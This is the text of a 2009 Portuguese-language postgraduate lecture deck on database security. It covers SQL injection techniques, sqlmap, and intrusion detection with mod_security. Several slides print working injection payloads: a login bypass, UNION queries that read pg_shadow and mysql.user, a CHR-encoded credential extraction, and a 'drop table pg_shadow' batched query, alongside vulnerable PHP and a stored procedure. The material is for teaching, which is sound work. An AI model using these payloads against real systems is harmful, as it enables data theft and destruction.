Upload
others
View
2
Download
0
Embed Size (px)
Citation preview
Segurança de Aplicações e Banco de Dados
Gestão de Segurança da Informaçãopós-graduação Lato Sensu
Segurança de Banco de Dados( SQL Injection, APBIDS, Modelagem )
Patrick TracanelliFrancisco Temponi
FUMEC - 2009
SABDSQL INJECTION
Definição segundo a OWASP (Open Web Application Security Project), ISC^2 e Sans Security:
“SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands”
Portando a definição deixa claro:
SQL Injection é um problema de validação inadequada de entrada. Tal qual Code Injection e outras técnicas.
SABDSQL INJECTION
SQL Injection se aplica apenas à ambiente Web?
SABDSQL INJECTION
SQL Injection se aplica apenas à ambiente Web?
Não. Os target mais comuns em ordem de exploração, são:
Ambiente Web Stored Procedures Functions
SABDSQL INJECTION
SQL Injection se aplica apenas à ambiente Web?
Não. Os target mais comuns em ordem de exploração, são:
Ambiente Web Stored Procedures Functions
As técnicas de exploração de Injeção SQL são 3:
Logical/Boolean-based blind
UNION query
Batched queries
SABDSQL INJECTION
LOGICAL / BOOLEAN-BASED BLIND
- Técnica de ataque “cego” baseado em lógica.- É o tipo mais comum.- Também conhecido como or 1=1 (e similares, tamanha simplicidade)
SABDSQL INJECTION
LOGICAL / BOOLEAN-BASED BLIND
- Técnica de ataque “cego” baseado em lógica.- É o tipo mais comum.- Também conhecido como or 1=1 (e similares, tamanha simplicidade)
- Por exemplo...
SABDSQL INJECTION
LOGICAL / BOOLEAN-BASED BLIND
Consideremos o seguinte trecho de código (php):
<? php
$u = $_POS T['us uario'];$p = $_POS T['s enha '];
$s ql = “S ELEC T * FR OM us uarios WHER E c odig o = '$u' AN D s enha = '$p'”;
? >
SABDSQL INJECTION
LOGICAL / BOOLEAN-BASED BLIND
Consideremos o seguinte trecho de código (php):
<? php
$u = $_POS T['us uario'];$p = $_POS T['s enha '];
$s ql = “S ELEC T * FR OM us uarios WHER E c odig o = '$u' AN D s enha = '$p'”;
? >
Na Web:
SABDSQL INJECTION
LOGICAL / BOOLEAN-BASED BLIND
Consideremos o seguinte trecho de código (php):
<? php
$u = $_POS T['us uario'];$p = $_POS T['s enha '];
$s ql = “S ELEC T * FR OM us uarios WHER E us ername = '$u' AN D s enha = '$p'”;
? >
Na Web:
S ELEC T * FR OM us uarios WHE R E us ername = ' ' AN D s enha = ' ' or 1='1';
SABDSQL INJECTION
LOGICAL / BOOLEAN-BASED BLINDComo identificar se uma aplicação, web site, procedure ou o que for, está vulnerável ao tipo de ataque número 1?
Passo 1: A aplicação retorna erro de sintaxe no banco ao manipular a string de entrada artificialmente?
Se sim, a probabilidade dele não validar o input é enorme.
Passo 2: A aplicação sabe fazer matemática?
Exemplo: index.aspx?notid=2 e index.aspx?notid=1+1 retornam o mesmo conteúdo?
Passo 3: A aplicação sabe lógica?
Exemplo: index.aspx?notid=2+or+(+1=1+)
SABDSQL INJECTION
LOGICAL / BOOLEAN-BASED BLINDComo identificar se uma aplicação, web site, procedure ou o que for, está vulnerável ao tipo de ataque número 1?
Passo 3: A aplicação sabe lógica?
Exemplo: index.aspx?notid=2+or+(+1=1+)
Se a resposta for SIM: INFORMATION LEAK
Se SIM: A aplicação executará tudo que receber na entrada.
A mais básica vulnerabilidade SQL Injection (e também uma das mais perigosas). Para obter a informação que você precisa, basta fazer a query correta (se o usuário do banco tiver acesso a ela).
SABDSQL INJECTIONUNION QUERY
UNION QUERY: O input não validado executando outras queries.
SABDSQL INJECTIONUNION QUERY
UNION QUERY: O input não validado executando outras queries.
SELECT CCNum,CCType,CCExp,CCName FROM CreditCards WHERE (AccNum=11223344 AND CardState='Active') AND UserName='Luiz Inacio Silva'
SELECT CCNum,CCType,CCExp,CCName FROM CreditCards WHERE (AccNum=11223344) UNION SELECT CCNum,CCType,CCExp,CCName WHERE 1=1 (AND CardState='Active') AND UserName='Luiz Inacio Silva'
SABDSQL INJECTIONUNION QUERY
UNION QUERY: O input não validado executando outras queries.
index.aspx?id=111+or+(+(+select+usesysid+from+pg_shadow+limit+1+offset+1)+=+0+)
Não dá certo?
index.aspx?id=111+UNION+(+(+select+usesysid+from+pg_shadow+limit+1+offset+1)+)
SABDSQL INJECTIONUNION QUERY
UNION QUERY: O input não validado executando outras queries.
index.aspx?id=111+or+(+(+select+usesysid+from+pg_shadow+limit+1+offset+1)+=+0+)
Não dá certo?
index.aspx?id=111+UNION+(+(+select+usesysid+from+pg_shadow+limit+1+offset+1)+)
Problema com o número de colunas ao unir as queries?
“To NULL or not to NULL: that is the question”
...
SABDSQL INJECTIONUNION QUERY
UNION INJECTION mais avançado:
UNION ALL SELECT NULL, CHR(83)||CHR(114)||CHR(108)||CHR(71)||CHR(86)||CHR(116)||COALESCE(CAST(usename AS CHARACTER(10000)), CHR(32))||CHR(104)||CHR(100)||CHR(122)||CHR(81)||CHR(121)||CHR(90)||COALESCE(CAST(usecreatedb AS CHARACTER(10000)), CHR(32))||CHR(104)||CHR(100)||CHR(122)||CHR(81)||CHR(121)||CHR(90)||COALESCE(CAST(usesuper AS CHARACTER(10000)), CHR(32))||CHR(104)||CHR(100)||CHR(122)||CHR(81)||CHR(121)||CHR(90)||COALESCE(CAST(usecatupd AS CHARACTER(10000)), CHR(32))||CHR(75)||CHR(121)||CHR(80)||CHR(65)||CHR(68)||CHR(102), NULL FROM pg_user
SABDSQL INJECTION
BATCHED QUERIES
SABDSQL INJECTION
BATCHED QUERIES
SABDSQL INJECTION
BATCHED QUERIES
O irmão mais velho do Bobby Tables, John'); DROP current(); conseguiu uma namorada, a Ana, de sobre-mome ; drop table pg_shadow;
index.aspx?idd=111;+drop+table+pg_shadow+;
SABDSQL INJECTION
STORED PROCEDURES / FUNÇÕES
O problema não é exclusivamente Web:
Procedure criada com usuário test no MySQL:
CREATE PROCEDURE sp_test (input varchar(100))begin
SET @id = input;SET @sql_text = concat(’SELECT text FROM
test_tbl where id=’,@id);PREPARE stmt FROM @sql_text;EXECUTE stmt;DEALLOCATE PREPARE stmt;
end
SABDSQL INJECTION
STORED PROCEDURES / FUNÇÕES
O problema não é exclusivamente Web:
Procedure criada com usuário root do MySQL:
CREATE PROCEDURE sp_root (input varchar(100))begin
SET @id = input;SET @sql_text = concat(’SELECT text FROM
test_tbl where id=’,@id);PREPARE stmt FROM @sql_text;EXECUTE stmt;DEALLOCATE PREPARE stmt;
end
SABDSQL INJECTION
STORED PROCEDURES / FUNÇÕES
mysql> select user();+—————-+|user()|+—————-+| test@localhost |+—————-+1 row in set (0.00 sec)
mysql> select user from mysql.user;ERROR 1142 (42000): SELECT command denied to user ‘test’@'localhost’ for table ‘user’
mysql> call sp_test(’1 union all select concat(user,password) from mysql.user’);ERROR 1142 (42000): SELECT command denied to user ‘test’@'localhost’ for table ‘user’
SABDSQL INJECTION
STORED PROCEDURES / FUNÇÕES
mysql> call sp_root(’-1 union all select user from mysql.user’);+———————————————————–+| text |+———————————————————–+| mysql || root || test || bsd-sys-dba || root |5 rows in set (0.00 sec)Query OK, 0 rows affected (0.00 sec)
SABDSQL INJECTION
STORED PROCEDURES / FUNÇÕES
mysql> call sp_root(’-1 union all select user from mysql.user’);+———————————————————–+| text |+———————————————————–+| mysql || root || test || bsd-sys-dba || root |5 rows in set (0.00 sec)Query OK, 0 rows affected (0.00 sec)
Os problemas aqui são 2:
SABDSQL INJECTION
STORED PROCEDURES / FUNÇÕES
mysql> call sp_root(’-1 union all select user from mysql.user’);+———————————————————–+| text |+———————————————————–+| mysql || root || test || bsd-sys-dba || root |5 rows in set (0.00 sec)Query OK, 0 rows affected (0.00 sec)
Os problemas aqui são 2:1) SQL Injection, técnica 2 – UNION – que você já reconhece;
SABDSQL INJECTION
STORED PROCEDURES / FUNÇÕES
mysql> call sp_root(’-1 union all select user from mysql.user’);+———————————————————–+| text |+———————————————————–+| mysql || root || test || bsd-sys-dba || root |5 rows in set (0.00 sec)Query OK, 0 rows affected (0.00 sec)
Os problemas aqui são 2:1) SQL Injection, técnica 2 – UNION – que você já reconhece;
2) Entendimento da aplicação.
SABDSQL INJECTION
STORED PROCEDURES / FUNÇÕES
mysql> call sp_root(’-1 union all select user from mysql.user’);+———————————————————–+| text |+———————————————————–+| mysql || root || test || bsd-sys-dba || root |5 rows in set (0.00 sec)Query OK, 0 rows affected (0.00 sec)
Os problemas aqui são 2:1) SQL Injection, técnica 2 – UNION – que você já reconhece;
2) Entendimento da aplicação.- Stored Procedure e Function tem poder de quem as cria, não de quem as executa,
no MySQL. E no Oracle? E no MS-SQL? E no PostgreSQL?
SABDSQL INJECTION
STORED PROCEDURES / FUNÇÕESmysql> call sp_root(’-1 union all select user from mysql.user’);+———————————————————–+| text |+———————————————————–+| mysql || root || test || bsd-sys-dba || root |5 rows in set (0.00 sec)Query OK, 0 rows affected (0.00 sec)
Os problemas aqui são 2:1) SQL Injection, técnica 2 – UNION – que você já reconhece;
2) Entendimento da aplicação.- Stored Procedure e Function tem poder de quem as cria, não de quem as executa,
no MySQL. E no Oracle? E no MS-SQL? E no PostgreSQL?
- Você conhecer o Invoker Security? Ou Invoker Rights no (Oracle)? O que o recurso faz?
SABDSQL INJECTION
STORED PROCEDURES / FUNÇÕES
mysql> call sp_root(’-1 union all select user from mysql.user’);+———————————————————–+| text |+———————————————————–+| mysql || root || test || bsd-sys-dba || root |5 rows in set (0.00 sec)Query OK, 0 rows affected (0.00 sec)
Portanto do que vale criptografarStored Procedures e afins?
Segurança por obscuridade.Existe? É segurança?
SABDSQL INJECTIONFERRAMENTAS
Varredura semi-automatizada de SQL Injection, ferramenta de Penetration Tests que eu sugiro:
sqlmap (http://sqlmap.sourceforge.net) - Open Source
SABDAPPLICATION BASED
INTRUSION DETECTION SYSTEM(APBIDS)
O que é um APBIDS?
Quais os Tipos?
Tal qual NIDS, HIDS, APBIDS se dividem em 2 tipos:- Baseados em Taxonomia
- Passivo, Reativo, Preventivo
- Cognitivos- Passivo, Reativo, Preventivo
SABDAPPLICATION BASED
INTRUSION DETECTION SYSTEM(APBIDS)O que é um APBIDS?
Quais os Tipos?
Tal qual NIDS, HIDS, APBIDS se dividem em 2 tipos:- Baseados em Taxonomia
- Passivo, Reativo, Preventivo
- Cognitivos- Passivo, Reativo, Preventivo
Quais Existem?- Apache Web Server:
mod_security(tomcat, apache,jboss, mono, ...)
SABDAPPLICATION BASED
INTRUSION DETECTION SYSTEM(APBIDS)O que é um APBIDS?
Quais os Tipos?
Tal qual NIDS, HIDS, APBIDS se dividem em 2 tipos:- Baseados em Taxonomia
- Passivo, Reativo, Preventivo
- Cognitivos- Passivo, Reativo, Preventivo
Quais Existem?- Apache Web Server:
mod_security(tomcat, apache,jboss, mono, ...)
Microsoft IIS:- IIS-Guard- IIS-Ensafe ;-)
“o pulo do gato”
SABDmod_security
O que é o mod_security?
Um APBIDS baseado em Assinatura Taxonômica, para Apache Web Server e suítes afins (TomCat, Jacarta, etc).
SABDmod_security
Em um ambiente multi-camadas...
Exemplo abaixo ilustra o mod_security como solução de segurança server-side para home banking, especificamente do Blue Bank Europe.
http://www.modsecurity.org/documentation/Securing_Web_Services_with_ModSecurity_2.0.pdf
SABDmod_security
Como funciona?
Na prática...
SABDIIS-Ensafe
O que é?
Criado pela FreeBSD Brasil LTDA (pela FreeBSD BR??)
SABDIIS-Ensafe
O que é?
Criado pela FreeBSD Brasil LTDA (pela FreeBSD BR??)
- Apache Core + mod_proxy + mod_security
- 80% das funcionalidades originais do mod_security
- Faz uso da JWSCL API para implementar outros 11% das funcionalidades (mod_rewrite reescrito para o IIS com a JWCSL);
- Os outros 9%? A maior parte é típicamente de Unix;
SABDPERGUNTAS?
??